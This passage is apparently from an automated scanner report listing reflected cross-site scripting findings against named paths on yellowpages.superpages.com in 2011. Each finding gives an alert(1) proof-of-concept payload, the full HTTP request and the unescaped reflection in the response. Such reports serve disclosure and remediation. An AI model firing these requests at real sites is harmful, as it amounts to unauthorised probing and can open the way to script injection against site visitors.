Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/busprofile.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload af28c"-alert(1)-"d5cdefab79b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js/busprofile.jsaf28c"-alert(1)-"d5cdefab79b HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js/busprofile.jsaf28c&quot;-alert(1)-&quot;d5cdefab79b
Server: Unspecified
Set-Cookie: JSESSIONID=C8CAA79C6FFF661580B5A8414F30FFC0; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:29 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
ages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js/busprofile.jsaf28c"-alert(1)-"d5cdefab79b?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.10. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/csiframe.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload edb86"-alert(1)-"af2b6080645 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofileedb86"-alert(1)-"af2b6080645/js/csiframe.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofileedb86&quot;-alert(1)-&quot;af2b6080645/js/csiframe.js
Server: Unspecified
Set-Cookie: JSESSIONID=C289443CC4D1CCC15509FEB05BD2B338; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:08 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofileedb86"-alert(1)-"af2b6080645/js/csiframe.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.11. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/csiframe.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1bae2"-alert(1)-"d1c4fd37467 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js1bae2"-alert(1)-"d1c4fd37467/csiframe.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js1bae2&quot;-alert(1)-&quot;d1c4fd37467/csiframe.js
Server: Unspecified
Set-Cookie: JSESSIONID=4C4E33ECA8D5BE5099B80F0F1406B058; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:17 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js1bae2"-alert(1)-"d1c4fd37467/csiframe.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.12. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/csiframe.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1dd87"-alert(1)-"26871eafe34 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js/csiframe.js1dd87"-alert(1)-"26871eafe34 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js/csiframe.js1dd87&quot;-alert(1)-&quot;26871eafe34
Server: Unspecified
Set-Cookie: JSESSIONID=9AFB68F58057118BE89F30825428352B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:27 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
wpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js/csiframe.js1dd87"-alert(1)-"26871eafe34?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.13. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/hide.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b3c75"-alert(1)-"933c529b5ba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofileb3c75"-alert(1)-"933c529b5ba/js/hide.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofileb3c75&quot;-alert(1)-&quot;933c529b5ba/js/hide.js
Server: Unspecified
Set-Cookie: JSESSIONID=A833574ACD90DE7C4B955F31362CD841; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:01 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofileb3c75"-alert(1)-"933c529b5ba/js/hide.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.14. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/hide.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de57b"-alert(1)-"653154b748 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/jsde57b"-alert(1)-"653154b748/hide.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/jsde57b&quot;-alert(1)-&quot;653154b748/hide.js
Server: Unspecified
Set-Cookie: JSESSIONID=0A571CCB92825CFBE44F2D68AAF5D862; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:09 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/jsde57b"-alert(1)-"653154b748/hide.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.15. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/hide.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 30f72"-alert(1)-"1d6df26e138 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js/hide.js30f72"-alert(1)-"1d6df26e138 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js/hide.js30f72&quot;-alert(1)-&quot;1d6df26e138
Server: Unspecified
Set-Cookie: JSESSIONID=EE8F07BABFC571B292CA39BD37E9CCCB; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:20 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
ellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js/hide.js30f72"-alert(1)-"1d6df26e138?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.16. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/photos.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41f5f"-alert(1)-"a4339366c19 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile41f5f"-alert(1)-"a4339366c19/js/photos.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile41f5f&quot;-alert(1)-&quot;a4339366c19/js/photos.js
Server: Unspecified
Set-Cookie: JSESSIONID=FB668622B170916BD529AC461293019E; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:04 GMT
Cache-Control: private
Content-Length: 36085


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile41f5f"-alert(1)-"a4339366c19/js/photos.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.17. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/photos.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bda1"-alert(1)-"1e48a19052d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js9bda1"-alert(1)-"1e48a19052d/photos.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js9bda1&quot;-alert(1)-&quot;1e48a19052d/photos.js
Server: Unspecified
Set-Cookie: JSESSIONID=B2551730408681FE84948CBA5537D917; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:12 GMT
Cache-Control: private
Content-Length: 36085


                       <!--
       
       -->


                                   
...[SNIP]...
http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js9bda1"-alert(1)-"1e48a19052d/photos.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.18. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/photos.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92aa7"-alert(1)-"ad045aaf68e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/js/photos.js92aa7"-alert(1)-"ad045aaf68e HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/js/photos.js92aa7&quot;-alert(1)-&quot;ad045aaf68e
Server: Unspecified
Set-Cookie: JSESSIONID=8B974E034538B797392AD6254625C8BF; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:22 GMT
Cache-Control: private
Content-Length: 36085


                       <!--
       
       -->


                                   
...[SNIP]...
lowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/js/photos.js92aa7"-alert(1)-"ad045aaf68e?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.19. http://yellowpages.superpages.com/busprofile/script.more.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/script.more.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50c0b"-alert(1)-"1189d0fb19e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile50c0b"-alert(1)-"1189d0fb19e/script.more.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile50c0b&quot;-alert(1)-&quot;1189d0fb19e/script.more.js
Server: Unspecified
Set-Cookie: JSESSIONID=E9DAEB1458FBC9F0B5240D898F7B6C6D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:21 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile50c0b"-alert(1)-"1189d0fb19e/script.more.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.20. http://yellowpages.superpages.com/busprofile/script.more.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/script.more.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 696df"-alert(1)-"ae58cd1d73c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/script.more.js696df"-alert(1)-"ae58cd1d73c HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/script.more.js696df&quot;-alert(1)-&quot;ae58cd1d73c
Server: Unspecified
Set-Cookie: JSESSIONID=42E6EF654C25ED299F245617595471E5; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:30 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
wpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/script.more.js696df"-alert(1)-"ae58cd1d73c?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.21. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/forms.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27e37"-alert(1)-"a77217be230 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common27e37"-alert(1)-"a77217be230/css/forms.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common27e37&quot;-alert(1)-&quot;a77217be230/css/forms.css
Server: Unspecified
Set-Cookie: JSESSIONID=DE3B6F76810C5748044659F1E3097E68; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:28 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common27e37"-alert(1)-"a77217be230/css/forms.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.22. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/forms.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7342"-alert(1)-"107199becab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssf7342"-alert(1)-"107199becab/forms.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssf7342&quot;-alert(1)-&quot;107199becab/forms.css
Server: Unspecified
Set-Cookie: JSESSIONID=65C38E08AACFCA247496A1F49E6DB041; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:36 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssf7342"-alert(1)-"107199becab/forms.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.23. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/forms.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1c09"-alert(1)-"6f31add0046 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/forms.cssf1c09"-alert(1)-"6f31add0046 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
